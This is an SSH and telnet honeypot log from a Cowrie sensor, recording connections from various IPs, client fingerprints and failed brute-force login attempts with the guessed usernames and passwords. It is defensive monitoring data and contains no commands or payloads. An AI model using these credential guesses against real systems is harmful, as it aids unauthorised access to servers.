{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:17.541259Z","src_ip":"43.134.71.92","session":"6fc7bd936838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:18.520608Z","src_ip":"43.134.71.92","session":"6fc7bd936838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:19.760653Z","src_ip":"43.134.71.92","session":"6fc7bd936838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":45448,"dst_ip":"10.17.0.5","dst_port":22,"session":"fefbaae894a3","protocol":"ssh","message":"New connection: 103.249.84.242:45448 (10.17.0.5:22) [session: fefbaae894a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:21.541770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:21.546034Z","src_ip":"103.249.84.242","session":"fefbaae894a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:21.777924Z","src_ip":"103.249.84.242","session":"fefbaae894a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"918ab615e92d","protocol":"ssh","message":"New connection: 80.225.252.182:40400 (10.17.0.5:22) [session: 918ab615e92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:22.405640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:22.420598Z","src_ip":"80.225.252.182","session":"918ab615e92d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:22.612675Z","src_ip":"80.225.252.182","session":"918ab615e92d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optic","message":"login attempt [root/optic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:22.737742Z","src_ip":"103.249.84.242","session":"fefbaae894a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lager","message":"login attempt [root/lager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:23.509982Z","src_ip":"80.225.252.182","session":"918ab615e92d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:23.973504Z","src_ip":"103.249.84.242","session":"fefbaae894a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:24.713758Z","src_ip":"80.225.252.182","session":"918ab615e92d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39648,"dst_ip":"159.203.135.109","dst_port":22,"session":"6711c35c5da2","protocol":"ssh","message":"New connection: 80.94.92.184:39648 (159.203.135.109:22) [session: 6711c35c5da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:39.079449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:39.164336Z","src_ip":"80.94.92.184","session":"6711c35c5da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:39.350335Z","src_ip":"80.94.92.184","session":"6711c35c5da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":60292,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b6b659a161","protocol":"ssh","message":"New connection: 45.119.212.99:60292 (10.17.0.5:22) [session: b2b6b659a161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:40.911806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:40.920105Z","src_ip":"45.119.212.99","session":"b2b6b659a161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:41.166521Z","src_ip":"45.119.212.99","session":"b2b6b659a161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:41.505525Z","src_ip":"80.94.92.184","session":"6711c35c5da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:42.317455Z","src_ip":"45.119.212.99","session":"b2b6b659a161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:42.923077Z","src_ip":"80.94.92.184","session":"6711c35c5da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:17:43.567205Z","src_ip":"45.119.212.99","session":"b2b6b659a161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":38472,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05613065e97","protocol":"ssh","message":"New connection: 185.236.22.41:38472 (10.17.0.5:22) [session: c05613065e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:08.994660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:09.041685Z","src_ip":"185.236.22.41","session":"c05613065e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:09.114202Z","src_ip":"185.236.22.41","session":"c05613065e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marisha","message":"login attempt [root/marisha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:09.599527Z","src_ip":"185.236.22.41","session":"c05613065e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:10.727221Z","src_ip":"185.236.22.41","session":"c05613065e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":5367,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee7afb00ec4","protocol":"ssh","message":"New connection: 79.127.181.44:5367 (159.203.135.109:22) [session: cee7afb00ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:45.604635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:45.803265Z","src_ip":"79.127.181.44","session":"cee7afb00ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:45.996716Z","src_ip":"79.127.181.44","session":"cee7afb00ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:46.003304Z","src_ip":"79.127.181.44","session":"cee7afb00ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":33228,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98a0d215010","protocol":"ssh","message":"New connection: 103.249.84.242:33228 (10.17.0.5:22) [session: a98a0d215010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:49.772974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:49.777483Z","src_ip":"103.249.84.242","session":"a98a0d215010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:50.021402Z","src_ip":"103.249.84.242","session":"a98a0d215010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdata","message":"login attempt [root/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:51.029718Z","src_ip":"103.249.84.242","session":"a98a0d215010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:52.276758Z","src_ip":"103.249.84.242","session":"a98a0d215010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":38188,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a3b09d6ecd","protocol":"ssh","message":"New connection: 62.133.63.206:38188 (159.203.135.109:22) [session: 85a3b09d6ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:55.876358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:55.881015Z","src_ip":"62.133.63.206","session":"85a3b09d6ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:55.998411Z","src_ip":"62.133.63.206","session":"85a3b09d6ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:56.510950Z","src_ip":"62.133.63.206","session":"85a3b09d6ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:18:57.630949Z","src_ip":"62.133.63.206","session":"85a3b09d6ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.233.89.140","src_port":38992,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f5906ac634","protocol":"telnet","message":"New connection: 181.233.89.140:38992 (10.17.0.5:23) [session: 24f5906ac634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:03.559702Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":42934,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dbe5f857c78","protocol":"ssh","message":"New connection: 45.119.212.99:42934 (10.17.0.5:22) [session: 1dbe5f857c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:05.504280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:05.512902Z","src_ip":"45.119.212.99","session":"1dbe5f857c78","protocol":"ssh"}
